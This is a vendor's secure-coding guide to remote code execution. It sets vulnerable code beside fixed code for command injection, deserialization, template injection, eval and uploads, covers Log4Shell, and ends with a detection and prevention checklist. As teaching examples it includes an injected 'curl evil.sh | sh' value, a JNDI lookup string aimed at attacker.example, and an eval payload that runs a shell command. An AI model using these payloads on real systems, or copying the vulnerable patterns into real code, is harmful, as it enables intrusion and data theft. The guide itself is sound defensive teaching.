A remote code execution vulnerability (RCE) lets an attacker run their own code or operating system commands on your server, over the network, usually without any access they should have. It is the worst outcome in most threat models: once an attacker executes code with your application's privileges, they can read your database credentials, steal environment variables, pivot to internal services and plant persistence.

This guide answers "what is RCE" in practical terms: the root causes that keep producing it, vulnerable and fixed code in several languages, a real-world case (Log4Shell), and how to detect and prevent it in your own codebase.

What is RCE?

Remote code execution is not a single bug type. It is an impact: the attacker ends up controlling what the CPU executes. Many different flaws lead there. In the OWASP Top 10 2025, RCE shows up mostly under A05 Injection, A08 Software or Data Integrity Failures (insecure deserialization) and A03 Software Supply Chain Failures (vulnerable components).

Two terms you will see often:

  • RCE vs ACE: arbitrary code execution (ACE) is the general capability; RCE means it can be triggered remotely, for example through an HTTP request or a message on a queue.
  • Pre-auth vs post-auth RCE: a pre-auth RCE needs no login and is the most dangerous. A post-auth RCE requires an account, which on many SaaS products means "anyone who signs up".

The main causes of RCE vulnerabilities

1. Command injection

The application builds a shell command by concatenating user input. The shell then interprets characters like ;, |, && or $( ) as new commands.

# Python, vulnerable
import os

def ping(host):
    os.system("ping -c 1 " + host)   # host = "8.8.8.8; curl evil.sh | sh"
# Python, fixed
import ipaddress, subprocess

def ping(host):
    ipaddress.ip_address(host)            # raises ValueError if not an IP
    subprocess.run(["ping", "-c", "1", host], check=True, timeout=5)

The fix does two things: it validates the input against a strict format, and it passes arguments as a list so no shell ever parses them. The same pattern applies in Node.js:

// Node.js, vulnerable
const { exec } = require('child_process');
app.get('/convert', (req, res) => {
  exec(`convert ${req.query.file} out.png`, (err) => res.send('ok'));
});

// Node.js, fixed
const { execFile } = require('child_process');
app.get('/convert', (req, res) => {
  const file = path.basename(req.query.file);        // no path tricks
  if (!/^[\w-]+\.(jpg|png)$/.test(file)) return res.sendStatus(400);
  execFile('convert', [file, 'out.png'], (err) => res.send('ok'));
});

2. Unsafe deserialization

Several native serialization formats can reconstruct arbitrary objects, and reconstructing an object can trigger code. If an attacker controls the serialized bytes, they control what runs.

  • Python pickle: the documentation itself warns never to unpickle data from an untrusted source, because a pickle can call any function during loading.
  • Ruby Marshal.load on attacker-controlled data (for example, a cookie) has the same problem, via gadget chains in loaded classes.
  • YAML: full YAML loaders can instantiate objects. PyYAML 6.0 made the Loader argument mandatory for yaml.load, and Ruby's Psych 4 made YAML.load safe by default, but older code and explicit unsafe loaders are still common.
  • Java native serialization (ObjectInputStream.readObject) has produced many RCEs through gadget chains in common libraries.
# Python, vulnerable
import pickle, yaml
session = pickle.loads(request.cookies["session"])
config  = yaml.load(request.data, Loader=yaml.Loader)

# Python, fixed
import json, yaml
session = json.loads(request.cookies["session"])   # plus a signature check
config  = yaml.safe_load(request.data)
# Ruby, vulnerable
prefs = Marshal.load(Base64.decode64(cookies[:prefs]))

# Ruby, fixed
prefs = JSON.parse(cookies.signed[:prefs])
// Java, vulnerable
ObjectInputStream in = new ObjectInputStream(request.getInputStream());
Order order = (Order) in.readObject();

// Java, fixed: use a data format, or at least an allowlist filter
Order order = objectMapper.readValue(request.getInputStream(), Order.class);
// if native serialization is unavoidable:
in.setObjectInputFilter(ObjectInputFilter.Config.createFilter("com.acme.Order;!*"));

3. Server-side template injection (SSTI)

Template engines like Jinja2, Twig, Freemarker or ERB are small programming languages. If user input becomes part of the template instead of a variable, the attacker writes code. A quick test is submitting {{7*7}} and seeing 49 in the response.

# Flask, vulnerable
@app.route("/hello")
def hello():
    name = request.args.get("name", "")
    return render_template_string(f"<h1>Hello {name}</h1>")

# Flask, fixed: the template is constant, the input is data
@app.route("/hello")
def hello():
    return render_template_string("<h1>Hello {{ name }}</h1>",
                                  name=request.args.get("name", ""))

4. eval and dynamic code evaluation

eval, exec, new Function, Ruby's instance_eval or PHP's assert with strings turn data into code. They often appear in "formula" features, calculators, rule engines and quick admin tools.

// JavaScript, vulnerable
const total = eval(req.body.formula);   // "require('child_process').execSync('id')"

// JavaScript, fixed: parse a restricted grammar instead of executing code
const total = evaluateArithmetic(req.body.formula); // tokenizer allowing digits and + - * / ( )

5. File uploads into executable paths

If an upload is stored inside the web root and the server executes files by extension (classic PHP, JSP, CGI setups), uploading shell.php and then requesting it is an RCE. Fixes: store uploads outside the web root or in object storage, generate random file names, validate type by content and not only extension, and serve files with a non-executable content type.

6. Vulnerable dependencies: the Log4Shell case

Your code can be perfect and still ship an RCE inside a library. The best-known case is Log4Shell (CVE-2021-44228), disclosed in December 2021 and rated CVSS 10.0. Apache Log4j 2 evaluated JNDI lookups inside logged strings, so logging a header like ${jndi:ldap://attacker.example/a} made the server load code from an attacker-controlled LDAP server. According to the Apache Log4j security page, affected versions started at 2.0-beta9 and the fix for Java 8 and later arrived in 2.15.0. Related CVEs (CVE-2021-45046, CVE-2021-45105 and CVE-2021-44832) were addressed in the releases that followed, which is why most teams standardized on 2.17.1 or later.

The lesson: an RCE can arrive through a transitive dependency you never chose directly. That is the job of software composition analysis, and of keeping an inventory like an SBOM so you can answer "are we affected?" in minutes instead of days.

What an attacker does after an RCE

Understanding the blast radius helps prioritize. After a successful RCE, attackers typically:

  1. Read environment variables and config files for database URLs, API keys and cloud credentials.
  2. Query the cloud metadata endpoint for temporary IAM credentials.
  3. Dump or encrypt data, or install a crypto miner.
  4. Move laterally to internal services that trust the compromised host.
  5. Add persistence: a cron job, a new SSH key, a modified container image.

That is why least privilege matters even after you fix the bug: a process that cannot reach the metadata endpoint, runs as a non-root user and has a read-only filesystem turns a catastrophic RCE into a contained incident.

How to detect RCE vulnerabilities

No single technique catches every RCE, so combine them:

  • SAST (static analysis): traces untrusted input (request parameters, headers, cookies, message payloads) into dangerous sinks: os.system, subprocess with shell=True, exec, eval, pickle.loads, Marshal.load, readObject, render_template_string. It gives you the file and line before merge. Compare approaches in our SAST tools guide.
  • SCA: flags dependencies with known RCE CVEs and tells you the fixed version. See SAST vs SCA for why you need both.
  • DAST and pentesting: confirm exploitability in a running environment. Read SAST vs DAST and vulnerability assessment vs penetration testing for how they fit together.
  • Runtime signals: unexpected child processes from your web server, outbound connections to unknown hosts and new files in application directories are strong indicators that something already happened.

Rule-based SAST works well for the obvious sinks, but RCE often hides behind custom wrappers: a run_command helper in a utils file, a "plugin loader" that imports modules by name, a job runner that deserializes payloads from Redis. AI SAST helps here because it follows data across helpers and reasons about whether the input is really attacker-controlled. For example, Nurbak connects to GitHub, scans a repository with its own self-hosted AI model (the analysis does not send your code to OpenAI or Anthropic) and reports exploitable vulnerabilities with the file and line, plus dependency CVEs via OSV with the fixed versions. You can find vulnerabilities in your code with a free scan that shows the three most important findings in full.

RCE prevention checklist

  1. No shell, no string concatenation. Use argument arrays (subprocess.run([...]), execFile, ProcessBuilder) and validate inputs against strict allowlists.
  2. Deserialize data, not objects. Use JSON or protobuf for untrusted input. Use yaml.safe_load and YAML.safe_load. If Java native serialization is unavoidable, apply an ObjectInputFilter allowlist.
  3. Templates are constants. Pass user input as variables, never as template source.
  4. Ban eval on user data. Parse a restricted grammar or use a sandboxed expression library designed for untrusted input.
  5. Handle uploads defensively. Outside the web root, random names, content-type validation, no execute permission.
  6. Patch dependencies continuously. Lockfiles, SCA on every pull request and alerts when a new CVE hits a package you already ship.
  7. Least privilege at runtime. Non-root containers, read-only filesystems, restricted egress, no broad cloud credentials on app hosts.
  8. Protect your secrets. An RCE plus a leaked key is worse than either alone. Scan git history with a secret scanner and rotate what you find.

RCE vs SQL injection vs SSRF

These are often confused because they all start with untrusted input. SQL injection lets the attacker run queries in your database; RCE lets them run code on your host; SSRF makes your server send requests on their behalf. They can chain: some databases allow command execution from SQL, and SSRF against a metadata service can yield credentials that lead to code execution elsewhere. Treat any of them as a potential path to RCE when you prioritize.

Bottom line

Remote code execution is rarely exotic. It comes from a handful of repeatable mistakes: shell commands built from strings, native deserialization of untrusted data, templates built from input, eval, careless uploads and unpatched libraries. Each one has a well-known fix. The hard part is finding every instance across a real codebase and its dependencies, and that is where continuous static analysis and SCA pay for themselves. Start by running a scan to find vulnerabilities in your code and fix the RCE paths first.

Related reading